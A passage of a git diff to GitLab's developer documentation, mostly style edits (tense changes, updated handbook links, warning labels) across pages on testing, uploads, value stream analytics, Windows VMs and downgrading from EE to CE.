- [Retrieving pod logs](#dig-into-a-pods-logs). Granted by [Viewer (`roles/viewer`)](https://cloud.google.com/iam/docs/understanding-roles#kubernetes-engine-roles).
- [Running a Rails console](#run-a-rails-console). Granted by [Kubernetes Engine Developer (`roles/container.pods.exec`)](https://cloud.google.com/iam/docs/understanding-roles#kubernetes-engine-roles).
@@ -317,7 +317,7 @@ kubectl get cm --sort-by='{.metadata.creationTimestamp}' | grep 'review-' | grep
### Using K9s
-[K9s](https://github.com/derailed/k9s) is a powerful command line dashboard which allows you to filter by labels. This can help identify trends with apps exceeding the [review-app resource requests](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/review_apps/base-config.yaml). Kubernetes will schedule pods to nodes based on resource requests and allow for CPU usage up to the limits.
+[K9s](https://github.com/derailed/k9s) is a powerful command line dashboard which allows you to filter by labels. This can help identify trends with apps exceeding the [review-app resource requests](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/review_apps/base-config.yaml). Kubernetes schedules pods to nodes based on resource requests and allow for CPU usage up to the limits.
- In K9s you can sort or add filters by typing the `/` character
- `-lrelease=<review-app-slug>` - filters down to all pods for a release. This aids in determining what is having issues in a single deployment
@@ -395,8 +395,8 @@ helm ls -d | grep "Jun 4" | cut -f1 | xargs helm delete --purge
#### Mitigation steps taken to avoid this problem in the future
-We've created a new node pool with smaller machines so that it's less likely
-that a machine will hit the "too many mount points" problem in the future.
+We've created a new node pool with smaller machines to reduce the risk
+that a machine reaches the "too many mount points" problem in the future.
## Frequently Asked Questions
diff --git a/doc/development/testing_guide/smoke.md b/doc/development/testing_guide/smoke.md
index 76484dd193b..4fd2729a4d3 100644
--- a/doc/development/testing_guide/smoke.md
+++ b/doc/development/testing_guide/smoke.md
@@ -1,17 +1,17 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Smoke Tests
It is imperative in any testing suite that we have Smoke Tests. In short, smoke
-tests will run quick sanity end-to-end functional tests from GitLab QA and are
+tests run quick end-to-end functional tests from GitLab QA and are
designed to run against the specified environment to ensure that basic
functionality is working.
-Currently, our suite consists of this basic functionality coverage:
+Our suite consists of this basic functionality coverage:
- User standard authentication
- SSH Key creation and addition to a user
diff --git a/doc/development/testing_guide/testing_levels.md b/doc/development/testing_guide/testing_levels.md
index d9e7edfa0c8..14d4ee82f75 100644
--- a/doc/development/testing_guide/testing_levels.md
+++ b/doc/development/testing_guide/testing_levels.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Testing levels
@@ -129,14 +129,14 @@ graph RL
- **All server requests**:
When running frontend unit tests, the backend may not be reachable, so all outgoing requests need to be mocked.
- **Asynchronous background operations**:
- Background operations cannot be stopped or waited on, so they will continue running in the following tests and cause side effects.
+ Background operations cannot be stopped or waited on, so they continue running in the following tests and cause side effects.
#### What *not* to mock in unit tests
- **Non-exported functions or classes**:
- Everything that is not exported can be considered private to the module, and will be implicitly tested through the exported classes and functions.
+ Everything that is not exported can be considered private to the module, and is implicitly tested through the exported classes and functions.
- **Methods of the class under test**:
- By mocking methods of the class under test, the mocks will be tested and not the real methods.
+ By mocking methods of the class under test, the mocks are tested and not the real methods.
- **Utility functions (pure functions, or those that only modify parameters)**:
If a function has no side effects because it has no state, it is safe to not mock it in tests.
- **Full HTML pages**:
@@ -206,7 +206,7 @@ graph RL
- **All server requests**:
Similar to unit tests, when running component tests, the backend may not be reachable, so all outgoing requests need to be mocked.
- **Asynchronous background operations**:
- Similar to unit tests, background operations cannot be stopped or waited on. This means they will continue running in the following tests and cause side effects.
+ Similar to unit tests, background operations cannot be stopped or waited on. This means they continue running in the following tests and cause side effects.
- **Child components**:
Every component is tested individually, so child components are mocked.
See also [`shallowMount()`](https://vue-test-utils.vuejs.org/api/#shallowmount)
@@ -214,7 +214,7 @@ graph RL
#### What *not* to mock in component tests
- **Methods or computed properties of the component under test**:
- By mocking part of the component under test, the mocks will be tested and not the real component.
+ By mocking part of the component under test, the mocks are tested and not the real component.
- **Functions and classes independent from Vue**:
All plain JavaScript code is already covered by unit tests and needs not to be mocked in component tests.
@@ -295,7 +295,7 @@ graph RL
Similar to unit and component tests, when running component tests, the backend may not be reachable, so all outgoing requests must be mocked.
- **Asynchronous background operations that are not perceivable on the page**:
Background operations that affect the page must be tested on this level.
- All other background operations cannot be stopped or waited on, so they will continue running in the following tests and cause side effects.
+ All other background operations cannot be stopped or waited on, so they continue running in the following tests and cause side effects.
#### What *not* to mock in integration tests
@@ -360,7 +360,7 @@ possible).
| Tests path | Testing engine | Notes |
| ---------- | -------------- | ----- |
-| `spec/features/` | [Capybara](https://github.com/teamcapybara/capybara) + [RSpec](https://github.com/rspec/rspec-rails#feature-specs) | If your test has the `:js` metadata, the browser driver will be [Poltergeist](https://github.com/teamcapybara/capybara#poltergeist), otherwise it's using [RackTest](https://github.com/teamcapybara/capybara#racktest). |
+| `spec/features/` | [Capybara](https://github.com/teamcapybara/capybara) + [RSpec](https://github.com/rspec/rspec-rails#feature-specs) | If your test has the `:js` metadata, the browser driver is [Poltergeist](https://github.com/teamcapybara/capybara#poltergeist), otherwise it's using [RackTest](https://github.com/teamcapybara/capybara#racktest). |
### Frontend feature tests
@@ -453,13 +453,13 @@ should take care of not introducing too many (slow and duplicated) tests.
The reasons why we should follow these best practices are as follows:
-- System tests are slow to run since they spin up the entire application stack
+- System tests are slow to run because they spin up the entire application stack
in a headless browser, and even slower when they integrate a JS driver
- When system tests run with a JavaScript driver, the tests are run in a
different thread than the application. This means it does not share a
- database connection and your test will have to commit the transactions in
+ database connection and your test must commit the transactions in
order for the running application to see the data (and vice-versa). In that
- case we need to truncate the database after each spec instead of simply
+ case we need to truncate the database after each spec instead of
rolling back a transaction (the faster strategy that's in use for other kind
of tests). This is slower than transactions, however, so we want to use
truncation only when necessary.
@@ -488,7 +488,7 @@ Every new feature should come with a [test plan](https://gitlab.com/gitlab-org/g
| Tests path | Testing engine | Notes |
| ---------- | -------------- | ----- |
-| `qa/qa/specs/features/` | [Capybara](https://github.com/teamcapybara/capybara) + [RSpec](https://github.com/rspec/rspec-rails#feature-specs) + Custom QA framework | Tests should be placed under their corresponding [Product category](https://about.gitlab.com/handbook/product/product-categories/) |
+| `qa/qa/specs/features/` | [Capybara](https://github.com/teamcapybara/capybara) + [RSpec](https://github.com/rspec/rspec-rails#feature-specs) + Custom QA framework | Tests should be placed under their corresponding [Product category](https://about.gitlab.com/handbook/product/categories/) |
> See [end-to-end tests](end_to_end/index.md) for more information.
diff --git a/doc/development/testing_guide/testing_migrations_guide.md b/doc/development/testing_guide/testing_migrations_guide.md
index b944c7ed406..31054d0ffb2 100644
--- a/doc/development/testing_guide/testing_migrations_guide.md
+++ b/doc/development/testing_guide/testing_migrations_guide.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -24,15 +24,15 @@ Adding a `:migration` tag to a test signature enables some custom RSpec
[`spec/support/migration.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/f81fa6ab1dd788b70ef44b85aaba1f31ffafae7d/spec/support/migration.rb)
to run.
-A `before` hook will revert all migrations to the point that a migration
+A `before` hook reverts all migrations to the point that a migration
under test is not yet migrated.
-In other words, our custom RSpec hooks will find a previous migration, and
+In other words, our custom RSpec hooks finds a previous migration, and
migrate the database **down** to the previous migration version.
With this approach you can test a migration against a database schema.
-An `after` hook will migrate the database **up** and reinstitute the latest
+An `after` hook migrates the database **up** and reinstitutes the latest
schema version, so that the process does not affect subsequent specs and
ensures proper isolation.
@@ -40,7 +40,7 @@ ensures proper isolation.
To test an `ActiveRecord::Migration` class (i.e., a
regular migration `db/migrate` or a post-migration `db/post_migrate`), you
-will need to load the migration file by using the `require_migration!` helper
+must load the migration file by using the `require_migration!` helper
method because it is not autoloaded by Rails.
Example:
@@ -57,15 +57,15 @@ RSpec.describe ...
#### `require_migration!`
-Since the migration files are not autoloaded by Rails, you will need to manually
+Since the migration files are not autoloaded by Rails, you must manually
load the migration file. To do so, you can use the `require_migration!` helper method
-which can automatically load the correct migration file based on the spec file name.
+which can automatically load the correct migration file based on the spec filename.
For example, if your spec file is named as `populate_foo_column_spec.rb` then the
-helper method will try to load `${schema_version}_populate_foo_column.rb` migration file.
+helper method tries to load `${schema_version}_populate_foo_column.rb` migration file.
In case there is no pattern between your spec file and the actual migration file,
-you can provide the migration file name without the schema version, like so:
+you can provide the migration filename without the schema version, like so:
```ruby
require_migration!('populate_foo_column')
@@ -75,8 +75,9 @@ require_migration!('populate_foo_column')
Use the `table` helper to create a temporary `ActiveRecord::Base`-derived model
for a table. [FactoryBot](best_practices.md#factories)
-**should not** be used to create data for migration specs. For example, to
-create a record in the `projects` table:
+**should not** be used to create data for migration specs because it relies on
+application code which can change after the migration has run, and cause the test
+to fail. For example, to create a record in the `projects` table:
```ruby
project = table(:projects).create!(id: 1, name: 'gitlab1', path: 'gitlab1')
@@ -84,8 +85,8 @@ project = table(:projects).create!(id: 1, name: 'gitlab1', path: 'gitlab1')
#### `migrate!`
-Use the `migrate!` helper to run the migration that is under test. It will not only
-run the migration, but will also bump the schema version in the `schema_migrations`
+Use the `migrate!` helper to run the migration that is under test. It
+runs the migration and bumps the schema version in the `schema_migrations`
table. It is necessary because in the `after` hook we trigger the rest of
the migrations, and we need to know where to start. Example:
@@ -102,7 +103,7 @@ end
#### `reversible_migration`
Use the `reversible_migration` helper to test migrations with either a
-`change` or both `up` and `down` hooks. This will test that the state of
+`change` or both `up` and `down` hooks. This tests that the state of
the application and its data after the migration becomes reversed is the
same as it was before the migration ran in the first place. The helper:
@@ -183,7 +184,7 @@ end
## Testing a non-`ActiveRecord::Migration` class
To test a non-`ActiveRecord::Migration` test (a background migration),
-you will need to manually provide a required schema version. Please add a
+you must manually provide a required schema version. Please add a
`schema` tag to a context that you want to switch the database schema within.
If not set, `schema` defaults to `:latest`.
diff --git a/doc/development/testing_guide/testing_rake_tasks.md b/doc/development/testing_guide/testing_rake_tasks.md
index 384739d1adb..dc754721e24 100644
--- a/doc/development/testing_guide/testing_rake_tasks.md
+++ b/doc/development/testing_guide/testing_rake_tasks.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Testing Rake tasks
@@ -11,7 +11,7 @@ in lieu of the standard Spec helper. Instead of `require 'spec_helper'`, use
`require 'rake_helper'`. The helper includes `spec_helper` for you, and configures
a few other things to make testing Rake tasks easier.
-At a minimum, requiring the Rake helper will redirect `stdout`, include the
+At a minimum, requiring the Rake helper redirects `stdout`, include the
runtime task helpers, and include the `RakeHelpers` Spec support module.
The `RakeHelpers` module exposes a `run_rake_task(<task>)` method to make
diff --git a/doc/development/understanding_explain_plans.md b/doc/development/understanding_explain_plans.md
index 896b34a4ab4..3f596e89e29 100644
--- a/doc/development/understanding_explain_plans.md
+++ b/doc/development/understanding_explain_plans.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Understanding EXPLAIN plans
diff --git a/doc/development/uploads.md b/doc/development/uploads.md
index 0307ab76cd1..7ffa9014240 100644
--- a/doc/development/uploads.md
+++ b/doc/development/uploads.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Uploads development documentation
@@ -46,7 +46,7 @@ We have three challenges here: performance, availability, and scalability.
### Performance
-Rails process are expensive in terms of both CPU and memory. Ruby [global interpreter lock](https://en.wikipedia.org/wiki/Global_interpreter_lock) adds to cost too because the Ruby process will spend time on I/O operations on step 3 causing incoming requests to pile up.
+Rails process are expensive in terms of both CPU and memory. Ruby [global interpreter lock](https://en.wikipedia.org/wiki/Global_interpreter_lock) adds to cost too because the Ruby process spends time on I/O operations on step 3 causing incoming requests to pile up.
In order to improve this, [disk buffered upload](#disk-buffered-upload) was implemented. With this, Rails no longer deals with writing uploaded files to disk.
@@ -88,7 +88,7 @@ To address this problem an HA object storage can be used and it's supported by [
Scaling NFS is outside of our support scope, and NFS is not a part of cloud native installations.
-All features that require Sidekiq and do not use direct upload won't work without NFS. In Kubernetes, machine boundaries translate to PODs, and in this case the uploaded file will be written into the POD private disk. Since Sidekiq POD cannot reach into other pods, the operation will fail to read it.
+All features that require Sidekiq and do not use direct upload doesn't work without NFS. In Kubernetes, machine boundaries translate to PODs, and in this case the uploaded file is written into the POD private disk. Since Sidekiq POD cannot reach into other pods, the operation fails to read it.
## How to select the proper level of acceleration?
@@ -96,7 +96,7 @@ Selecting the proper acceleration is a tradeoff between speed of development and
We can identify three major use-cases for an upload:
-1. **storage:** if we are uploading for storing a file (i.e. artifacts, packages, discussion attachments). In this case [direct upload](#direct-upload) is the proper level as it's the less resource-intensive operation. Additional information can be found on [File Storage in GitLab](file_storage.md).
+1. **storage:** if we are uploading for storing a file (like artifacts, packages, or discussion attachments). In this case [direct upload](#direct-upload) is the proper level as it's the less resource-intensive operation. Additional information can be found on [File Storage in GitLab](file_storage.md).
1. **in-controller/synchronous processing:** if we allow processing **small files** synchronously, using [disk buffered upload](#disk-buffered-upload) may speed up development.
1. **Sidekiq/asynchronous processing:** Asynchronous processing must implement [direct upload](#direct-upload), the reason being that it's the only way to support Cloud Native deployments without a shared NFS.
@@ -120,7 +120,7 @@ We have three kinds of file encoding in our uploads:
1. <i class="fa fa-check-circle"></i> **multipart**: `multipart/form-data` is the most common, a file is encoded as a part of a multipart encoded request.
1. <i class="fa fa-check-circle"></i> **body**: some APIs uploads files as the whole request body.
-1. <i class="fa fa-times-circle"></i> **JSON**: some JSON API uploads files as base64 encoded strings. This will require a change to GitLab Workhorse, which [is planned](https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/226).
+1. <i class="fa fa-times-circle"></i> **JSON**: some JSON API uploads files as base64 encoded strings. This requires a change to GitLab Workhorse, which [is planned](https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/226).
## Uploading technologies
@@ -166,7 +166,7 @@ is replaced with the path to the corresponding file before it is forwarded to
Rails.
To prevent abuse of this feature, Workhorse signs the modified request with a
-special header, stating which entries it modified. Rails will ignore any
+special header, stating which entries it modified. Rails ignores any
unsigned path entries.
```mermaid
@@ -220,8 +220,8 @@ In this setup, an extra Rails route must be implemented in order to handle autho
and [its routes](https://gitlab.com/gitlab-org/gitlab/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/config/routes/git_http.rb#L31-32).
- [API endpoints for uploading packages](packages.md#file-uploads).
-This will fallback to _disk buffered upload_ when `direct_upload` is disabled inside the [object storage setting](../administration/uploads.md#object-storage-settings).
-The answer to the `/authorize` call will only contain a file system path.
+This falls back to _disk buffered upload_ when `direct_upload` is disabled inside the [object storage setting](../administration/uploads.md#object-storage-settings).
+The answer to the `/authorize` call contains only a file system path.
```mermaid
sequenceDiagram
@@ -272,7 +272,7 @@ sequenceDiagram
## How to add a new upload route
-In this section, we'll describe how to add a new upload route [accelerated](#uploading-technologies) by Workhorse for [body and multipart](#upload-encodings) encoded uploads.
+In this section, we describe how to add a new upload route [accelerated](#uploading-technologies) by Workhorse for [body and multipart](#upload-encodings) encoded uploads.
Uploads routes belong to one of these categories:
@@ -280,7 +280,7 @@ Uploads routes belong to one of these categories:
1. Grape API: uploads handled by a Grape API endpoint.
1. GraphQL API: uploads handled by a GraphQL resolve function.
-CAUTION: **Warning:**
+WARNING:
GraphQL uploads do not support [direct upload](#direct-upload) yet. Depending on the use case, the feature may not work on installations without NFS (like GitLab.com or Kubernetes installations). Uploading to object storage inside the GraphQL resolve function may result in timeout errors. For more details please follow [issue #280819](https://gitlab.com/gitlab-org/gitlab/-/issues/280819).
### Update Workhorse for the new route
@@ -310,7 +310,7 @@ few things to do:
1. Generally speaking, it's a good idea to check if the instance is from the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) class. For example, see how we checked
[that the parameter is indeed an `UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/commit/ea30fe8a71bf16ba07f1050ab4820607b5658719#51c0cc7a17b7f12c32bc41cfab3649ff2739b0eb_79_77).
-CAUTION: **Caution:**
+WARNING:
**Do not** call `UploadedFile#from_params` directly! Do not build an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb)
instance using `UploadedFile#from_params`! This method can be unsafe to use depending on the `params`
passed. Instead, use the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb)
@@ -339,7 +339,7 @@ use `requires :file, type: ::API::Validations::Types::WorkhorseFile`.
- The remaining code of the processing. This is where the code must be reading the parameter (for
our example, it would be `params[:file]`).
-CAUTION: **Caution:**
+WARNING:
**Do not** call `UploadedFile#from_params` directly! Do not build an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb)
object using `UploadedFile#from_params`! This method can be unsafe to use depending on the `params`
passed. Instead, use the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb)
diff --git a/doc/development/utilities.md b/doc/development/utilities.md
index aca14507fcd..2d347df0559 100644
--- a/doc/development/utilities.md
+++ b/doc/development/utilities.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab utilities
@@ -100,7 +100,7 @@ Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gi
end
```
- Note that the check will only happen when either:
+ Note that the check only happens when either:
- The overriding method is defined in a class, or:
- The overriding method is defined in a module, and it's prepended to
diff --git a/doc/development/ux_guide/users.md b/doc/development/ux_guide/users.md
index 3aecbbffd73..a01aa4bcf35 100644
--- a/doc/development/ux_guide/users.md
+++ b/doc/development/ux_guide/users.md
@@ -1,5 +1,8 @@
---
-redirect_to: 'https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/'
+redirect_to: 'https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/'
---
-This document was moved to [another location](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/).
+This document was moved to [another location](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/value_stream_analytics.md b/doc/development/value_stream_analytics.md
index 4560a115562..b3692bd1d2c 100644
--- a/doc/development/value_stream_analytics.md
+++ b/doc/development/value_stream_analytics.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Optimize
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Value Stream Analytics development guide
@@ -32,7 +32,7 @@ These events play a key role in the duration calculation.
Formula: `duration = end_event_time - start_event_time`
-To make the duration calculation flexible, each `Event` is implemented as a separate class. They're responsible for defining a timestamp expression that will be used in the calculation query.
+To make the duration calculation flexible, each `Event` is implemented as a separate class. They're responsible for defining a timestamp expression that is used in the calculation query.
#### Implementing an `Event` class
@@ -41,12 +41,12 @@ There are a few methods that are required to be implemented, the `StageEvent` ba
- `object_type`
- `timestamp_projection`
-The `object_type` method defines which domain object will be queried for the calculation. Currently two models are allowed:
+The `object_type` method defines which domain object is queried for the calculation. Currently two models are allowed:
- `Issue`
- `MergeRequest`
-For the duration calculation the `timestamp_projection` method will be used.
+For the duration calculation the `timestamp_projection` method is used.
```ruby
def timestamp_projection
@@ -92,7 +92,7 @@ Some start/end event pairs are not "compatible" with each other. For example:
The `StageEvents` module describes the allowed `start_event` and `end_event` pairings (`PAIRING_RULES` constant). If a new event is added, it needs to be registered in this module.
​To add a new event:​
-1. Add an entry in `ENUM_MAPPING` with a unique number, it'll be used in the `Stage` model as `enum`.
+1. Add an entry in `ENUM_MAPPING` with a unique number, which is used in the `Stage` model as `enum`.
1. Define which events are compatible with the event in the `PAIRING_RULES` hash.
Supported start/end event pairings:
@@ -185,19 +185,19 @@ Currently supported parents:
1. User navigates to the value stream analytics page.
1. User selects a group.
1. Backend loads the defined stages for the selected group.
-1. Additions and modifications to the stages will be persisted within the selected group only.
+1. Additions and modifications to the stages are persisted within the selected group only.
### Default stages
The [original implementation](https://gitlab.com/gitlab-org/gitlab/-/issues/847) of value stream analytics defined 7 stages. These stages are always available for each parent, however altering these stages is not possible.
​
-To make things efficient and reduce the number of records created, the default stages are expressed as in-memory objects (not persisted). When the user creates a custom stage for the first time, all the stages will be persisted. This behavior is implemented in the value stream analytics service objects.
+To make things efficient and reduce the number of records created, the default stages are expressed as in-memory objects (not persisted). When the user creates a custom stage for the first time, all the stages are persisted. This behavior is implemented in the value stream analytics service objects.
​
The reason for this was that we'd like to add the abilities to hide and order stages later on.
## Data Collector
-`DataCollector` is the central point where the data will be queried from the database. The class always operates on a single stage and consists of the following components:
+`DataCollector` is the central point where the data is queried from the database. The class always operates on a single stage and consists of the following components:
- `BaseQueryBuilder`:
- Responsible for composing the initial query.
@@ -238,7 +238,7 @@ SELECT (START_EVENT_TIME-END_EVENT_TIME) as duration, END_EVENT.timestamp
## High-level overview
- Rails Controller (`Analytics::CycleAnalytics` module): Value stream analytics exposes its data via JSON endpoints, implemented within the `analytics` workspace. Configuring the stages are also implements JSON endpoints (CRUD).
-- Services (`Analytics::CycleAnalytics` module): All `Stage` related actions will be delegated to respective service objects.
+- Services (`Analytics::CycleAnalytics` module): All `Stage` related actions are delegated to respective service objects.
- Models (`Analytics::CycleAnalytics` module): Models are used to persist the `Stage` objects `ProjectStage` and `GroupStage`.
- Feature classes (`Gitlab::Analytics::CycleAnalytics` module):
- Responsible for composing queries and define feature specific business logic.
@@ -248,7 +248,7 @@ SELECT (START_EVENT_TIME-END_EVENT_TIME) as duration, END_EVENT.timestamp
Since we have a lots of events and possible pairings, testing each pairing is not possible. The rule is to have at least one test case using an `Event` class.
-Writing a test case for a stage using a new `Event` can be challenging since data must be created for both events. To make this a bit simpler, each test case must be implemented in the `data_collector_spec.rb` where the stage is tested through the `DataCollector`. Each test case will be turned into multiple tests, covering the following cases:
+Writing a test case for a stage using a new `Event` can be challenging since data must be created for both events. To make this a bit simpler, each test case must be implemented in the `data_collector_spec.rb` where the stage is tested through the `DataCollector`. Each test case is turned into multiple tests, covering the following cases:
- Different parents: `Group` or `Project`
- Different calculations: `Median`, `RecordsFetcher` or `DataForDurationChart`
diff --git a/doc/development/verifying_database_capabilities.md b/doc/development/verifying_database_capabilities.md
index fe60ec11bce..195e8c5c77e 100644
--- a/doc/development/verifying_database_capabilities.md
+++ b/doc/development/verifying_database_capabilities.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Verifying Database Capabilities
diff --git a/doc/development/what_requires_downtime.md b/doc/development/what_requires_downtime.md
index 18a2e17967a..63a7ea4dfbd 100644
--- a/doc/development/what_requires_downtime.md
+++ b/doc/development/what_requires_downtime.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# What requires downtime?
@@ -51,7 +51,7 @@ We require indication of when it is safe to remove the column ignore with:
- `remove_with`: set to a GitLab release typically two releases (M+2) after adding the
column ignore.
- `remove_after`: set to a date after which we consider it safe to remove the column
- ignore, typically last date of the development cycle of release M+2 - namely the release date.
+ ignore, typically after the M+1 release date, during the M+2 development cycle.
This information allows us to reason better about column ignores and makes sure we
don't remove column ignores too early for both regular releases and deployments to GitLab.com. For
diff --git a/doc/development/wikis.md b/doc/development/wikis.md
index f8bcaac2ec0..a2da4843eac 100644
--- a/doc/development/wikis.md
+++ b/doc/development/wikis.md
@@ -2,7 +2,7 @@
type: reference, dev
stage: Create
group: Knowledge
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: "GitLab's development guidelines for Wikis"
---
diff --git a/doc/development/windows.md b/doc/development/windows.md
index 2ca99508746..08ff29a4e58 100644
--- a/doc/development/windows.md
+++ b/doc/development/windows.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -13,9 +13,9 @@ This is a guide for how to get a Windows development virtual machine on Google C
## Why Windows in Google Cloud?
-Use of Microsoft Windows operating systems on company laptops is banned under GitLab's [Approved Operating Systems policy](https://about.gitlab.com/handbook/security/approved_os.html#windows).
+Use of Microsoft Windows operating systems on company laptops is banned under the GitLab [Approved Operating Systems policy](https://about.gitlab.com/handbook/security/approved_os.html#windows).
-This can make it difficult to develop features for the Windows platforms. Using GCP will allow us to have a temporary Windows machine that can be removed once we're done with it.
+This can make it difficult to develop features for the Windows platforms. Using GCP allows us to have a temporary Windows machine that can be removed once we're done with it.
## Shared Windows runners
@@ -74,7 +74,7 @@ Build a Google Cloud image with the above shared runners repository by doing the
1. Click **Set Windows password**.
1. Optional: Set a username or use default.
1. Click **Next**.
-1. Copy and save the password as it won't be shown again.
+1. Copy and save the password as it is not shown again.
1. Click **RDP** down arrow.
1. Click **Download the RDP file**.
1. Open the downloaded RDP file with the Windows remote desktop app (<https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-clients>).
@@ -98,8 +98,8 @@ Here are a few tips on GCP and Windows.
### GCP cost savings
-To minimise the cost of your GCP VM instance, stop it when you're not using it.
-If you do, you'll need to re-download the RDP file from the console as the IP
+To minimize the cost of your GCP VM instance, stop it when you're not using it.
+If you do, you must download the RDP file again from the console as the IP
address changes every time you stop and start it.
### chocolatey
diff --git a/doc/downgrade_ee_to_ce/README.md b/doc/downgrade_ee_to_ce/README.md
index 2561ee875d2..3cbc68d61ed 100644
--- a/doc/downgrade_ee_to_ce/README.md
+++ b/doc/downgrade_ee_to_ce/README.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Downgrading from EE to CE
@@ -23,20 +23,8 @@ alternative authentication methods to your users.
### Remove Service Integration entries from the database
-The `JenkinsService` and `GithubService` classes are only available in the Enterprise Edition codebase,
-so if you downgrade to the Community Edition, you'll come across the following
-error:
-
-```plaintext
-Completed 500 Internal Server Error in 497ms (ActiveRecord: 32.2ms)
-
-ActionView::Template::Error (The single-table inheritance mechanism failed to locate the subclass: 'JenkinsService'. This
-error is raised because the column 'type' is reserved for storing the class in case of inheritance. Please rename this
-column if you didn't intend it to be used for storing the inheritance class or overwrite Service.inheritance_column to
-use another column for that information.)
-```
-
-or
+The `GithubService` class is only available in the Enterprise Edition codebase,
+so if you downgrade to the Community Edition, the following error displays:
```plaintext
Completed 500 Internal Server Error in 497ms (ActiveRecord: 32.2ms)
@@ -49,22 +37,23 @@ use another column for that information.)
All services are created automatically for every project you have, so in order
to avoid getting this error, you need to remove all instances of the
-`JenkinsService` and `GithubService` from your database:
+`GithubService` from your database:
**Omnibus Installation**
```shell
-sudo gitlab-rails runner "Service.where(type: ['JenkinsService', 'GithubService']).delete_all"
